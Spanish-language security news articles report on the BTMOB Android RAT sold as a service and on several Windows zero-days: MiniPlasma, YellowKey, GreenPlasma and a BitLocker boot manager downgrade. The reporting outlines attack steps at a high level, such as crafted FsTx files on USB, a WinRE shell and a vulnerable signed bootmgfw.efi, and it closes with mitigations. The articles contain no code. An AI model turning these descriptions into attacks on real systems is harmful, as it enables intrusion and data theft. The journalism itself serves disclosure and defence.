«El RAT también se vende con una interfaz de creación de APK, lo que permite a cualquiera generar nuevas cargas útiles y adaptar señuelos de phishing para regiones específicas con rapidez y sin escribir ningún código», dijo el investigador de ESET Daniel Cunha Barbosa. dicho.

Estas herramientas listas para usar reducen aún más el tiempo y el esfuerzo necesarios para realizar un compromiso completo del dispositivo. El método principal a través del cual se propaga el malware es a través de la ingeniería social, donde a los usuarios se les envían enlaces a sitios web falsos que se hacen pasar por servicios de transmisión por secuencias o plataformas de minería de criptomonedas.

Desde esos sitios, las víctimas son dirigidas a listados falsos de aplicaciones de Google Play Store que las engañan para que instalen un archivo de paquete de Android (APK) que contiene el malware. Una vez instalado, el malware busca permisos para utilizar los servicios de accesibilidad de Android y luego los aprovecha para otorgarse acceso adicional al sistema sin ninguna interacción del usuario.

Se cree que BTMOB es el sucesor de las familias CraxsRAT, CypherRAT y SpySolr. En mayo de 2026, la última versión del malware es la 4.5.5 y afirma ofrecer protección APK mejorada y compatibilidad con las últimas actualizaciones de Google Play.

«Esta actualización tiene que ver con la velocidad y la estabilidad», un perfil X supuestamente vinculado al malware al corriente el 1 de mayo de 2026. «Hemos ampliado nuestra infraestructura y perfeccionado el constructor para mantenerlo a la vanguardia de los últimos parches de seguridad móvil».

El troyano es anunciado por un actor de amenazas llamado EVLF (@craxso) por un precio de 700 dólares al mes. Según un vídeo de YouTube compartido según el autor del malware el 1 de mayo de 2026, una licencia de por vida vale 1200 dólares. El código fuente completo del servidor está disponible por 7.000 dólares, lo que permite a los clientes alojar los paneles de comando y control (C2) en su propia infraestructura.

Tan recientemente como esta semana, el perfil X también compartió un enlace a un Artículo mediano sobre «cómo BTMOB RAT está convirtiendo los teléfonos Android en armas controladas remotamente» y ha estado «evolucionando rápidamente» desde principios de 2025.

«Se cuela a través de sitios de phishing, capta servicios de accesibilidad y convierte su teléfono en una marioneta», se lee en el artículo. «Los piratas informáticos observan tu pantalla en vivo. Roban datos bancarios. Incluso extraen criptomonedas en segundo plano mientras navegas por Instagram».

Ciberseguridad

Curiosamente, el artículo fue publicado por una cuenta denominada «Desarrollador principal de CraxsRAT». La biografía de la cuenta afirma que es un «cibercriminal hábil e ingenioso que construyó una rentable empresa de cibercrimen vendiendo malware RAT altamente avanzado a otros actores de amenazas».

El hecho de que BTMOB se venda bajo un modelo de malware como servicio (MaaS) corre el riesgo de reducir la barrera de entrada para actores de amenazas menos sofisticados. Esto se ve agravado por informes de que versiones filtradas ya están circulando en foros clandestinos y Telegram, lo que aumenta el riesgo de abuso por parte de imitadores y otros aspirantes a delincuentes.

«El acceso rara vez permanece contenido para siempre, y la herramienta puede trasladarse a mercados secundarios mediante la reventa, el trueque o el intercambio dentro de grupos cerrados», dijo ESET. «Las familias de malware competidoras también pueden copiar algunos elementos que facilitan la personalización de la carga útil y la gestión de campañas para los delincuentes menos hábiles».

La empresa italiana de ciberseguridad D3Lab, en un análisis del kit de herramientas de desarrollo BTMOB RAT filtrado y publicado en diciembre de 2025, dijo que incluía el código fuente de la carga útil de Android, su cuentagotas, un entorno de creación, el panel del operador para Windows, el backend C2 y todas las dependencias de software necesarias para implementar la plataforma.

«La filtración de BTMOB proporciona una perspectiva poco común sobre el funcionamiento interno de un ecosistema moderno de Android RAT como servicio», D3Lab anotado En el momento. «Demuestra que el actor de amenazas opera no simplemente como un desarrollador que vende un conjunto de herramientas, sino como un proveedor de servicios que impone licencias, autenticación y control de versiones a sus clientes».

MiniPlasma Windows 0-Day permite escalar privilegios del SISTEMA en sistemas completamente parcheados – CYBERDEFENSA.MX

Chaotic Eclipse, el investigador de seguridad detrás de las fallas de Windows recientemente reveladas, YellowKey y GreenPlasma, ha publicado una prueba de concepto (PoC) para una falla de día cero de escalada de privilegios de Windows que otorga a los atacantes privilegios de SISTEMA en sistemas Windows completamente parcheados.

nombre en clave miniplasmala vulnerabilidad afecta a «cldflt.sys», que hace referencia al controlador de minifiltro de archivos en la nube de Windows y reside en una rutina denominada «HsmOsBlockPlaceholderAccess». Fue reportado originalmente a Microsoft por el investigador de Google Project Zero, James Forshaw, en septiembre de 2020.

Aunque se suponía que Microsoft solucionó la deficiencia en diciembre de 2020 como parte de CVE-2020-17103Chaotic Eclipse dijo que una investigación adicional ha descubierto que «exactamente el mismo problema […] en realidad todavía está presente, sin parchear.»

Ciberseguridad

«No estoy seguro de si Microsoft nunca solucionó el problema o si el parche fue revertido silenciosamente en algún momento por razones desconocidas. La prueba de concepto original de Google funcionó sin ningún cambio», añadió el investigador. «Para resaltar este problema, utilicé el PoC original como arma para generar un shell de SISTEMA. Parece funcionar de manera confiable en mis máquinas, pero la tasa de éxito puede variar ya que es una condición de carrera».

El investigador señaló además que es probable que todas las versiones de Windows se vean afectadas por esta vulnerabilidad.

En una publicación compartida en Mastodon, el investigador de seguridad Will Dormann dijo que MiniPlasma funciona de manera «confiable» para abrir un mensaje «cmd.exe» con privilegios de SISTEMA en sistemas Windows 11 que ejecutan las últimas actualizaciones de mayo de 2026. «Observaré que no parece funcionar en la última versión Insider Preview Canary de Windows 11», Dormann señaló.

En diciembre de 2025, Microsoft también abordó otra falla de escalada de privilegios en el mismo componente (CVE-2025-62221, puntuación CVSS: 7,8), que identificó como explotada por actores de amenazas desconocidos.

Windows Zero-Days expone omisiones de BitLocker y escalada de privilegios de CTFMON – CYBERDEFENSA.MX

Un investigador anónimo de ciberseguridad que reveló tres vulnerabilidades de Microsoft Defender regresó con dos días cero más que involucran una omisión de BitLocker y una escalada de privilegios que afectan el Marco de traducción colaborativa de Windows (CTFMON).

El defectos de seguridad han sido nombrados en código llave amarilla y plasma verderespectivamente, por el investigador, que utiliza los alias en línea Chaotic Eclipse y Nightmare-Eclipse.

El investigador describió llave amarilla como «uno de los descubrimientos más locos que he encontrado», comparando la derivación de BitLocker con el funcionamiento de una puerta trasera, ya que el error sólo está presente en el entorno de recuperación de Windows (WinRE), un marco integrado diseñado para solucionar y reparar problemas comunes del sistema operativo que no arranca.

YellowKey afecta a Windows 11 y Windows Server 2022/2025. En un nivel alto, implica copiar archivos «FsTx» especialmente diseñados en una unidad USB o en la partición EFI, conectar la unidad USB a la computadora Windows de destino con las protecciones BitLocker activadas, reiniciar en WinRE y activar un shell manteniendo presionada la tecla CTRL.

«Creo que incluso MSRC tardará un tiempo en encontrar la verdadera causa raíz del problema. Simplemente nunca logré entender por qué esta vulnerabilidad está tan bien oculta», afirma el investigador. explicado. «Lo segundo es que no, TPM+PIN no ayuda, el problema aún se puede explotar de todos modos».

El investigador de seguridad Will Dormann, en un correo compartido en Mastodon, dijo: «Pude reproducir [YellowKey] con una unidad USB conectada», y agrega, «parece que los bits NTFS transaccionales en una unidad USB pueden eliminar el archivo winpeshl.ini en OTRA UNIDAD (X:). Y obtenemos un mensaje de cmd.exe, con BitLocker desbloqueado en lugar del entorno de recuperación de Windows esperado».

Ciberseguridad

«Mientras el BitLocker solo para TPM bypass es realmente interesante, creo que la pista oculta aquí es que un directorio \System Volume Information\FsTx en un volumen tiene la capacidad de modificar el contenido de otro volumen cuando se reproduce», señaló Dormann. «Para mí, esto en sí mismo suena como una vulnerabilidad».

La segunda vulnerabilidad señalada por Chaotic Eclipse es un caso de seguridad de escalada de privilegios que podría explotarse para obtener un shell con permisos de SISTEMA. Surge como resultado de lo que se ha descrito como creación de secciones arbitrarias CTFMON de Windows.

La prueba de concepto (PoC) publicada está incompleta y carece del código necesario para obtener un shell del SISTEMA completo. En su forma actual, el exploit puede permitir a un usuario sin privilegios crear objetos de sección de memoria arbitrarios dentro de objetos de directorio que pueden ser escritos por el SISTEMA, permitiendo potencialmente la manipulación de servicios privilegiados o controladores que implícitamente confían en esas rutas, ya que un usuario estándar no tiene acceso de escritura a las ubicaciones.

El desarrollo se produce casi un mes después de que el investigador publicó tres días cero de Defender denominados BlueHammer, RedSun y UnDefend después de supuestamente expresar su insatisfacción con el manejo por parte de Microsoft del proceso de divulgación de vulnerabilidades. Desde entonces, las deficiencias han sido objeto de explotación activa en la naturaleza.

Si bien a BlueHammer se le asignó oficialmente el identificador CVE-2026-33825 y Microsoft lo parchó el mes pasado, Chaotic Eclipse dijo que el gigante tecnológico parece haberse dirigido «silenciosamente» a RedSun sin emitir ningún aviso.

«Espero que al menos intentes resolver la situación de manera responsable. No estoy seguro de qué tipo de reacción esperabas de mí cuando echaste más leña al fuego después de BlueHammer», dijo el investigador. «El fuego durará todo el tiempo que quieras, a menos que lo apagues o hasta que no quede nada que quemar.»

Chaotic Eclipse también prometió una «gran sorpresa» para Microsoft, coincidiendo con el próximo lanzamiento del Patch Tuesday en junio de 2026.

Cuando se le contactó para hacer comentarios, un portavoz de Microsoft había dicho previamente a The Hacker News que «tiene el compromiso del cliente de investigar los problemas de seguridad reportados y actualizar los dispositivos afectados para proteger a los clientes lo antes posible», y que apoya la divulgación coordinada de vulnerabilidades, lo que, según la compañía, «ayuda a garantizar que los problemas se investiguen y aborden cuidadosamente antes de la divulgación pública».

Se descubre un ataque de degradación de BitLocker

El desarrollo se produce cuando la empresa francesa de ciberseguridad Intrinsec detalló un cadena de ataque contra BitLocker que aprovecha una degradación del administrador de arranque al explotar CVE-2025-48804 (puntuación CVSS: 6,8) para evitar la protección de cifrado en sistemas Windows 11 completamente parcheados en menos de cinco minutos.

«El principio es el siguiente: el administrador de arranque carga el archivo de imagen de implementación del sistema (SDI) y el WIM al que hace referencia, y verifica la integridad del WIM legítimo», Intrinsec dicho.

«Sin embargo, cuando se agrega un segundo WIM al SDI con una tabla de blobs modificada, el administrador de arranque verifica el primer WIM (legítimo) mientras arranca simultáneamente desde el segundo (controlado por el atacante). Este segundo WIM contiene una imagen de WinRE infectada con ‘cmd.exe’, que se ejecuta con el volumen BitLocker descifrado».

Ciberseguridad

Si bien las correcciones publicadas por Microsoft en julio de 2025 solucionaron este defecto de seguridad en julio de 2025, el investigador de seguridad Cassius Garat dijo que el problema radica en el hecho de que Secure Boot solo verifica el certificado de firma de un binario, no su versión. Como resultado, se puede utilizar una versión vulnerable de «bootmgfw.efi» que no contiene el parche y está firmada con el certificado PCA 2011 confiable para eludir las salvaguardas de BitLocker.

Vale la pena señalar que Microsoft planea retirar los antiguos certificados PCA 2011 el próximo mes. «Y siempre que no se revoque, incluso un administrador de arranque antiguo y vulnerable se puede cargar sin generar una alerta», señaló Intrinsec. Para llevar a cabo el ataque, un mal actor necesita tener acceso físico a la máquina objetivo.

Para contrarrestar el riesgo, es esencial habilitar una PIN de BitLocker al inicio para autenticación previa al arranque y migrar el administrador de arranque al Certificado CA 2023 y revocar el antiguo certificado PCA 2011.